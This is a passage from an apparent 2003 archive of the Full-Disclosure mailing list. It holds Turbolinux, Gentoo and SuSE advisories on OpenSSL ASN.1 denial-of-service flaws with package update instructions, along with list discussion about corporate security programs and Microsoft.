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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iQEVAwUBP3q+Jney5gA9JdPZAQEanQf+M0uzKuBuPf7EGBNql8hW5P8XWtVjABiv y7ngIxjah/vACuyTMdPzeMmu+yEdfejCc5jtyYEG0cahxJGpUQOLnJ6jyyDjw+S8 ic+UJ96YZ4j2FKplHaNtGgTpDFUmFtUXg+07vQ76fzfWM8iL1HQKQcFGFuHIauwi 3Ei26HHp8dgRAAVqTzCuEmlOgUkHKTSn4xLbwmdYyDoY9aRtkQ6d7hdN9sOPj7pp p0jlf4I3Xut6fqLJ/4ZbCVI4V1xABG9x+2XagBRAfzauxvLWOfpdrAGRFdX66k14 OvQo58dMxs7pqsubhRtFcYGQROdIjpKLbLSLaLbsypqSOkJrj8ibIQ== =U3Dc -----END PGP SIGNATURE----- From security-announce at turbolinux.co.jp Wed Oct 1 11:35:31 2003 From: security-announce at turbolinux.co.jp (Turbolinux) Date: Wed, 1 Oct 2003 19:35:31 +0900 Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 01/Oct/2003 Message-ID: <200310011935.41699.security-announce@turbolinux.co.jp> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is an announcement only email list for the x86 architecture. ============================================================ Turbolinux Security Announcement 01/Oct/2003 ============================================================ The following page contains the security information of Turbolinux Inc. - Turbolinux Security Center http://www.turbolinux.com/security/ (1) openssl -> DoS vulnerability in openssl =========================================================== * openssl -> DoS vulnerability in openssl =========================================================== More information : The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. Unusual ASN.1 tag values can cause an out of bounds read under certain circumstances, resulting in a denial of service vulnerability. Impact : The vulnerability allow an attacker can cause to denial of service of the openssl. Affected Products : - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation - Turbolinux Server 6.5 - Turbolinux Advanced Server 6 - Turbolinux Server 6.1 - Turbolinux Workstation 6.0 Solution : Please use turbopkg(zabom) tool to apply the update. --------------------------------------------- # turbopkg or # zabom update openssl openssl-devel --------------------------------------------- Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 7c7271e7263b1fc39847f5dd097dfac8 Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/openssl-0.9.6k-2.i586.rpm 1366934 0f92e0d644d5ee1e44b31bcf531e1d8c ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/openssl-devel-0.9.6k-2.i586.rpm 1156710 584a99ceae84e0f457326b2fee6e06f1 Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 7f36441af28ed717ba65176c7b66680e Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/openssl-0.9.6k-2.i586.rpm 1367811 6526ca70ae9d6593e8be87bc193089d7 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/openssl-devel-0.9.6k-2.i586.rpm 1156964 30f36c1d28481a8243ff38308efc7b1e Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 834875cad5d1b9e7bbf316470728f97b Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/openssl-0.9.6k-2.i586.rpm 1335850 57efa60311c81b5af0f3721e08bf05ef ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/openssl-devel-0.9.6k-2.i586.rpm 1138724 b7a90942f1e81066443d94e921476f21 Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 4df3af6b3df204ff0fae655646cec9ae Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/openssl-0.9.6k-2.i586.rpm 1335646 e76c5ddc5ff49b3ffeaf704179bb1cf1 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/openssl-devel-0.9.6k-2.i586.rpm 1139634 702820b81eface29fdc6e7a8092674bc Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.5/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 5f069ba70311d673515b6cc572748e3b Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.5/updates/RPMS/openssl-0.9.6k-2.i386.rpm 1466551 612a0925a8b7e276fb4ee2e867f86f61 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.5/updates/RPMS/openssl-devel-0.9.6k-2.i386.rpm 1273363 d466f3b0414335a8fde5243e714fc26b Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/AdvancedServer/6/ja/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 1ffa548a309f2da23f917e0d103d55e3 Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/AdvancedServer/6/ja/updates/RPMS/openssl-0.9.6k-2.i386.rpm 1466406 96f2960852682c5e42d14ac7d30d2647 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/AdvancedServer/6/ja/updates/RPMS/openssl-devel-0.9.6k-2.i386.rpm 1273378 a32d760d95ceaeaf5167ee01d7c99772 Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.1/ja/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 3fdbc119547bc30c5e1af46392ca7afb Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.1/ja/updates/RPMS/openssl-0.9.6k-2.i386.rpm 1466596 6d44f572db79d5535b79411009f2ab02 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Server/6.1/ja/updates/RPMS/openssl-devel-0.9.6k-2.i386.rpm 1273288 ed611659b314586557906d8399eab7a2 Source Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/6.0/ja/updates/SRPMS/openssl-0.9.6k-2.src.rpm 2263218 863c8205dfe5f817078f8a7406560130 Binary Packages Size : MD5 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/6.0/ja/updates/RPMS/openssl-0.9.6k-2.i386.rpm 1466434 50bf1498d8c232928685b49c22ca9e98 ftp://ftp.turbolinux.com/pub/TurboLinux/TurboLinux/ia32/Workstation/6.0/ja/updates/RPMS/openssl-devel-0.9.6k-2.i386.rpm 1273442 067ac26f535ffe4c60948443347a13db References : OepnSSL org [OpenSSL Security Advisory [30 September 2003]] http://www.openssl.org/news/secadv_20030930.txt CVE [CAN-2003-0543] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0543 [CAN-2003-0544] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0544 Turbolinux Security Advisory [TLSA-2003-22] http://www.turbolinux.com/security/TLSA-2003-22.txt -------------------------------------------------------------------------- Revision History 01 Oct 2003 Initial release -------------------------------------------------------------------------- * You may need to update the turbopkg tool before applying the update. Please refer to the following URL for detailed information. http://www.turbolinux.com/download/zabom.html http://www.turbolinux.com/download/zabomupdate.html Package Update Path http://www.turbolinux.com/update ============================================================ * To obtain the public key Here is the public key http://www.turbolinux.com/security/ * To unsubscribe from the list If you ever want to remove yourself from this mailing list, you can send a message to with the word `unsubscribe' in the body (don't include the quotes). unsubscribe * To change your email address If you ever want to chage email address in this mailing list, you can send a message to with the following command in the message body: chaddr 'old address' 'new address' If you have any questions or problems, please contact Thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/eq32K0LzjOqIJMwRAgWfAJ9qaZXGF6svuHn2jm7jG9L+AMJC3QCgt9Zk NVDA46RnVaowRJsUbcM3+tg= =Ofy/ -----END PGP SIGNATURE----- From capegeo at opengroup.org Wed Oct 1 13:01:43 2003 From: capegeo at opengroup.org (George Capehart) Date: Wed, 01 Oct 2003 08:01:43 -0400 Subject: [Full-Disclosure] Soft-Chewy insides (was: CyberInsecurity: The cost of Monopoly) In-Reply-To: <20030929155417.F071238108@mail.secnap.net> References: <20030929155417.F071238108@mail.secnap.net> Message-ID: <3F7AC227.9050900@opengroup.org> Michael Scheidell wrote: >> Would that that would really help. I guess maybe in the >>long run it might, but I'm not holding my breath. There's still the >>small matter of connecting cause with effect and then implementing a >>program that will function appropriately at all levels of the > > > Just did a presentation to a bunch of AeA CFO's (AeA is American > Electronics Association) where the fist slide I gave them a piece of > paper that has to go with their 10K reports and said: > > Ok, as the CFO of a public company, would you sign this: > (a bunch of legal gook I got from our SEC lawyer). > > Went through a high(board level) presentation with lots of pretty color > pictures, talked about jail time and fines and informed them that the > CFO is the one who will sign it.. > then when done, said 'ok, NOW who will sign this. You KNOW for a FACT > that your IT department has taken care of this, right? you don't need an > outside/third party audit to make sure the IT or internal security guys > did their job, right? > > NO ONE. wanted to sign it then. Heh. That's great. Wish I could have been there to see that. Sounds like you really got their attention. But this brings me back to the original concern: It's one thing to realize that you have a problem. It's something else to fix it. And my experience has been that the people who have the problem don't have a clue how to fix it. Clueful organizations have a strong Information Security/Assurance *program* in place. CFOs of those organizations *will* sign the document because there *is* a formal risk management process in place which includes some kind of certification and accrediation process. They are *very* likely to be the approving authority on some of the systems. They are also part of the governance process. If there is no Information Security / Assurance *program*, there is a huge problem. This is the one I continue encounter: When an external audit/assessment shows many deficiencies, the response of the clueless organization is to; a) (try to) patch the holes, and b) maybe offer up a sacrificial lamb. However, the _root_cause_ of the existence of the problems in the first place is the absence of a real program. In the absence of a program, even if the holes are patched, within a year they will return or be replaced by others. So the *real* solution to the problem is to patch the holes *and* the organization . . . by implementing an effective program. One would hope that, having had their attention focused on the existence of symptoms, the CFOs will conclude that their organization is sick. Some will. Some won't. Of those that will, how many will know what "the cure" is, or how to go about getting it? *This* has been my frustration: having enough time with the right people to educate them on what the options are and what the solution is . . . Cheers, George Capehart -- George W. Capehart "We did a risk management review. We concluded that there was no risk of any management." -- Dilbert From lists at onryou.com Wed Oct 1 13:44:35 2003 From: lists at onryou.com (Cael Abal) Date: Wed, 01 Oct 2003 08:44:35 -0400 Subject: [Full-Disclosure] CyberInsecurity: The cost of Monopoly In-Reply-To: <000e01c387dc$a8451380$0201a8c0@cyber.god> References: <000e01c387dc$a8451380$0201a8c0@cyber.god> Message-ID: <3F7ACC33.9040407@onryou.com> > Yeah you know, that has always been my theory as to why, > in Star Trek (and others), the control panels on starship > bridges sometimes explode with sparks and smoke for no better reason > than that some component on the outer hull got shot up by the > Klingons (or whoever); its an important feedback > mechanism ensuring that the operator knows that something > is very seriously wrong. > > Now if only desktop PCs had such a system... Hi Steve, You know, now that you mention it that makes perfect sense. Although, keep in mind we're talking about MS machines here -- these machines will need to be capable of emitting a shower of sparks and smoke virtually non-stop. Hmm. Actually, I think it might be fun to construct a spring-loaded BANG! type flag, triggered every time Dr. Watson or the current equivalent is executed. take care, C From sintraq at sintelli.com Wed Oct 1 13:45:34 2003 From: sintraq at sintelli.com (Sintelli ) Date: Wed, 1 Oct 2003 13:45:34 +0100 Subject: [Full-Disclosure] Security Vulnerabilities - Week 39, 2003 Message-ID: <003401c38819$e87f4280$0400a8c0@x2> A summary of all vulnerabilities published in Week 39, 2003 are available at: http://www.sintelli.com/sinweek/week39-2003.pdf Regards Sintelli www.sintelli.com From mike at sane.com Wed Oct 1 14:00:30 2003 From: mike at sane.com (Michael Smith) Date: Wed, 1 Oct 2003 09:00:30 -0400 Subject: [Full-Disclosure] Re: Prudent default security In-Reply-To: <001701c3878f$b6b1bb00$0201a8c0@cyber.god> Message-ID: <002e01c3881b$fdf4a8b0$0b01a8c0@sane.com> Steve, it would be a very boring mailing list if only the people who know everything (Paul, apparently) posted to it. I'm expecting that bulk admin tools for windows systems will mature greatly over the next year or so. Hopefully MS will continue to work on the path they have set rather than reinventing the wheel and making all current system and network administration policies and tools obsolete. >Sigh, you are right. >On the one hand, as a Linux geek from way back, >I have a small sense of pride in my lack of MS knowledge. >But I use MS; XP is a great desktop, Outlook is a great >mail client (I also use a Linux desktop and kmail is a great >mail client). > >So, on the other hand, I know that there are a lot of >*nix people out there who endlessly bash MS without >any knowledge of that which they curse. I don't want to >be one of those. > >When the ignorant ask honest questions, don't >get abusive, just answer them... Please? From aliz at gentoo.org Wed Oct 1 15:48:38 2003 From: aliz at gentoo.org (Daniel Ahlberg) Date: Wed, 1 Oct 2003 16:48:38 +0200 (CEST) Subject: [Full-Disclosure] GLSA: openssl (200309-19) Message-ID: <20031001144838.EF7BD9FF2A@noc.internal.fairytale.se> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - - --------------------------------------------------------------------- GENTOO LINUX SECURITY ANNOUNCEMENT 200309-19 - - - --------------------------------------------------------------------- ? ? ? ? ? PACKAGE : openssl ? ? ? ? ? SUMMARY : vulnerabilities in ASN.1 parsing ? ? ? ? ? ? ?DATE : 2003-10-01 14:48 UTC ? ? ? ? ? EXPLOIT : remote GENTOO BUG # : 30001 ? ? ? ? ? ? ? CVE : CAN-2003-0545 CAN-2003-0543 CAN-2003-0544 - - - --------------------------------------------------------------------- DESCRIPTION quote from OpenSSL advisory: "1. Certain ASN.1 encodings that are rejected as invalid by the parser can trigger a bug in the deallocation of the corresponding data structure, corrupting the stack. This can be used as a denial of service attack. It is currently unknown whether this can be exploited to run malicious code. This issue does not affect OpenSSL 0.9.6. 2. Unusual ASN.1 tag values can cause an out of bounds read under certain circumstances, resulting in a denial of service vulnerability. 3. A malformed public key in a certificate will crash the verify code if it is set to ignore public key decoding errors. Public key decode errors are not normally ignored, except for debugging purposes, so this is unlikely to affect production code. Exploitation of an affected application would result in a denial of service vulnerability. 4. Due to an error in the SSL/TLS protocol handling, a server will parse a client certificate when one is not specifically requested. This by itself is not strictly speaking a vulnerability but it does mean that *all* SSL/TLS servers that use OpenSSL can be attacked using vulnerabilities 1, 2 and 3 even if they don't enable client authentication." read the full advisory at http://www.openssl.org/news/secadv_20030930.txt SOLUTION it is recommended that all Gentoo Linux users who are running dev-libs/openssl upgrade to a fixed version. make sure that the version to be installed is atleast 0.9.6k(stable) or 0.9.7c(masked). emerge sync emerge openssl -p emerge openssl emerge clean - - - --------------------------------------------------------------------- aliz at gentoo.org - GnuPG key is available at http://dev.gentoo.org/~aliz - - - --------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/eulGfT7nyhUpoZMRAqomAJ4uTF38SWWVKdh8khE8loCUuVmoawCeMRrM i2jV0nCkowHud00KH4Eykq8= =zPT1 -----END PGP SIGNATURE----- From dhtml at hush.com Wed Oct 1 15:54:12 2003 From: dhtml at hush.com (dhtml at hush.com) Date: Wed, 1 Oct 2003 07:54:12 -0700 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT Message-ID: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> "Hackers are criminals" Most, he notes, release their malicious code after patches for Microsoft software have been released, meaning that they are simply reverse engineering to exploit security weaknesses or holes in software. - Microsoft CEO Steve Ballmer 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton Microsoft has claimed that the majority of the security bugs reported by the company?s software users have been traced back to the code provided by the third party software vendors Almost 90 per cent of the problems, that are reported by the users as part of our automated feedback system, come from the code that is not provided by Microsoft.? - Chief Technology Officer Craig Mundie http://www.internetwk.com/breakingNews/showArticle.jhtml?articleID=15200897 http://www.financialexpress.com/fe_full_story.php?content_id=43039 BG Concerned about your privacy? Follow this link to get FREE encrypted email: https://www.hushmail.com/?l=2 Free, ultra-private instant messaging with Hush Messenger https://www.hushmail.com/services.php?subloc=messenger&l=434 Promote security and make money with the Hushmail Affiliate Program: https://www.hushmail.com/about.php?subloc=affiliate&l=427 From mike at sane.com Wed Oct 1 16:30:02 2003 From: mike at sane.com (Michael Smith) Date: Wed, 1 Oct 2003 11:30:02 -0400 Subject: [Full-Disclosure] Re: Prudent default security In-Reply-To: <200310011502.h91F2WcG010830@turing-police.cc.vt.edu> Message-ID: <000e01c38830$e1acecc0$0b01a8c0@sane.com> >> I'm expecting that bulk admin tools for windows systems will mature >>greatly >> over the next year or so. Hopefully MS will continue to work on the path >> they have set rather than reinventing the wheel and making all current >> system and network administration policies and tools obsolete. > >Remember - MS is a *corporation*. They have *no* reason to change path, >unless >by doing so they improve *their* bottom line. If they can crush a >competitor >and spur sales with a "new improved" product that changes course, they >will. > >People keep acting like MS has some moral or ethical obligation to their >customers. >They don't. That's why they engage in behavior that outsiders find >revolting - because >said behavior is good for the bottom line. > >And the only way to change it is to make the behavior bad for the bottom >line (either >in lost sales when a shop goes Linux, or damages in a lawsuit, whatever...) I agree whole heartedly, MS has no moral or ethical obligation to their customers (and shouldn't, other than to try to fix flaws in software they have sold). I was only pointing out that the upgrade path that has evolved through their OSes has made it difficult to maintain or improve administration tools (as a SysAdmin). The tools I developed in the early 90s to help me administer a WFWG/DOS network differed from the ones I used in 95-00 to administer a Win9x network differed from the ones I use now to admin a W2k/XP network... while most of the tools I've used to admin the unix side of those networks are very similar if not the same. I have absolutely NO problem with MS being engaged in the bottom line. I am one of the few here (maybe the only one) who doesn't have a major problem with @stake letting Dan Geer go... The bottom line is that if he was hurting their business by slamming one of their clients, even if he was correct (which he was), they *should* have let him go. People seem to forget that companies exist to make money. If I had an employee who was working against MY best interests, you can bet he wouldn't last very long. I think that companies have an obligation to act ethically, but I also believe that employees have the same obligations.... they should 'ride for the brand' as it were. ~mike From jimlane at cs.toronto.edu Wed Oct 1 17:30:30 2003 From: jimlane at cs.toronto.edu (Jim Lane) Date: Wed, 1 Oct 2003 12:30:30 -0400 Subject: [inbox] Re: [Full-Disclosure] CyberInsecurity: The cost of Mo nopoly In-Reply-To: Message from "Michael Smith" of "Tue, 30 Sep 2003 10:53:46 EDT." <003901c38762$a6aa0190$0b01a8c0@sane.com> Message-ID: <20031001163031.55DC43D160@winona.cs> Maybe it takes an "old mainframer" to point this out but it depends on what kind of functional unit you're talking about. I remember the days when, from the users point of view, the computer was a dumb terminal and all the intelligence (and security risk) was safely off in a locked room somewhere. We still had security problems back then but they were a lot easier to deal with. Yet another case where Bill Bates and his like have a lot to answer for. Remind me again why client/server was supposed to have been a good idea? Sigh. -- -- Jim Lane Question authority: Sysadmin, CSLab Amateurs built the Ark, jimlane at cs.toronto.edu Professionals built the Titanic > > I think the point is that most people expect their cars to be operational > and do NOT do the maintenance themselves... they DO outsource it to a > mechanic. The average user has A LOT less control over their car than their > computer. A car is basically a single function unit, point A to point B. > Computers never have been nor ever will be that one dimensional. At the > most, I think we could hope for users who learn to know better than to try > to do the 'maintenance' on their computers themselves. > > From thomas at suse.de Wed Oct 1 18:19:52 2003 From: thomas at suse.de (Thomas Biege) Date: Wed, 1 Oct 2003 19:19:52 +0200 (CEST) Subject: [Full-Disclosure] SuSE Security Announcement: openssl (SuSE-SA:2003:043) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: openssl Announcement-ID: SuSE-SA:2003:043 Date: Wednesday, Oct 1st 2003 16:12 MET Affected products: 7.2, 7.3, 8.0, 8.1, 8.2, 9.0 SuSE Linux Database Server, SuSE eMail Server III, 3.1 SuSE Linux Enterprise Server 7/8, SuSE Linux Firewall on CD/Admin host SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: remote denial-of-service Severity (1-10): 5 SuSE default package: yes Cross References: CAN-2003-0543 CAN-2003-0544 CAN-2003-0545 Content of this advisory: 1) security vulnerability resolved: - problems with ASN.1 encoding - accepting client certificates even if disabled problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - whois - gdm2 - postgresql 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information OpenSSL is an implementation of the Secure Socket Layer (SSL v2/3) and Transport Layer Security (TLS v1) protocol. While checking the openssl implementation with a tool-kit from NISCC several errors were revealed most are ASN.1 encoding issues that causes a remote denial-of-service attack on the server side and possibly lead to remote command execution. There are two problems with ASN.1 encoding that can be triggered either by special ASN.1 encodings or by special ASN.1 tags. In debugging mode public key decoding errors can be ignored but also lead to a crash of the verify code if an invalid public key was received from the client. A mistake in the SSL/TLS protocol handling will make the server accept client certificates even if they are not requested. This bug makes it possible to exploit the bugs mentioned above even if client authentication is disabled. There is not other solution known to this problem then updating to the current version from our FTP servers. To make this update effective, restart all servers using openssl please. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. Please note that this update includes openssl, openssl-devel and openssl-doc. openssl: Intel i386 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-0.9.7b-71.i586.rpm 88e30d20d288ecffe1e185b6ccc5099e patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-0.9.7b-71.i586.patch.rpm 68ffad90868b2107e3d82cc8fc50f6b7 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/openssl-0.9.7b-71.src.rpm 1f5a12184b14ac5281f8da50da7deab6 SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-19.i586.rpm 20818d3b2d257bcf9258707e2adf8812 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-0.9.6i-19.i586.patch.rpm 2fbea6d1b3c19ed67d76337deef05363 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/openssl-0.9.6i-19.src.rpm 24d40081aa2644a336279ecae878c1f3 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-99.i586.rpm a2c35048358d85fffd5a5ab7b58f6683 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/openssl-0.9.6g-99.i586.patch.rpm 08803c7ac279b8c9ad1dc4aef4146617 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/openssl-0.9.6g-99.src.rpm 8bb653a4f779a125498f47dbaff0dc2f SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-86.i386.rpm 671dc039955089f8523064272a4aad49 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/sec1/openssl-0.9.6c-86.i386.patch.rpm 4ae58f8e66b2cc7c2cc936132558ea46 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/openssl-0.9.6c-86.src.rpm 7577ca638434ebe20406bfab85ec72ad SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/sec1/openssl-0.9.6b-158.i386.rpm 30ba99434b63d09d46cb271fac1bbefa source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/openssl-0.9.6b-158.src.rpm 3485c804df9a381131462ba97697d6fb SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/sec1/openssl-0.9.6a-83.i386.rpm d235ef6d8b990bfaadb974c205acdc40 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/openssl-0.9.6a-83.src.rpm 5a753ed3919767077292f96728de3870 Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/sec1/openssl-0.9.6b-90.sparc.rpm 29caa7dd281c0891c8655bcd5367f1ca source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/openssl-0.9.6b-90.src.rpm 6faf5fe6fa004eb5515c1777886c49c9 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/sec1/openssl-0.9.6b-151.ppc.rpm b057f2204c43fdca13fcae041a45e977 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/openssl-0.9.6b-151.src.rpm 7792ee3de5ef30c66c90a5fe43ee4eb2 openssl-doc: Intel i386 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-doc-0.9.7b-71.i586.rpm 4a7d456b67a0456221cf69231270b4bd patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/openssl-doc-0.9.7b-71.i586.patch.rpm 5223616e4b4d8f4bf0c02c63af75106c source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/openssl-0.9.7b-71.src.rpm 1f5a12184b14ac5281f8da50da7deab6 SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-doc-0.9.6i-19.i586.rpm fc79cc73f1a9ab5ddfd30cf6ddfb8ddc patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/openssl-doc-0.9.6i-19.i586.patch.rpm 55c3f3afc117c1d3d49ea875057c8d72 source 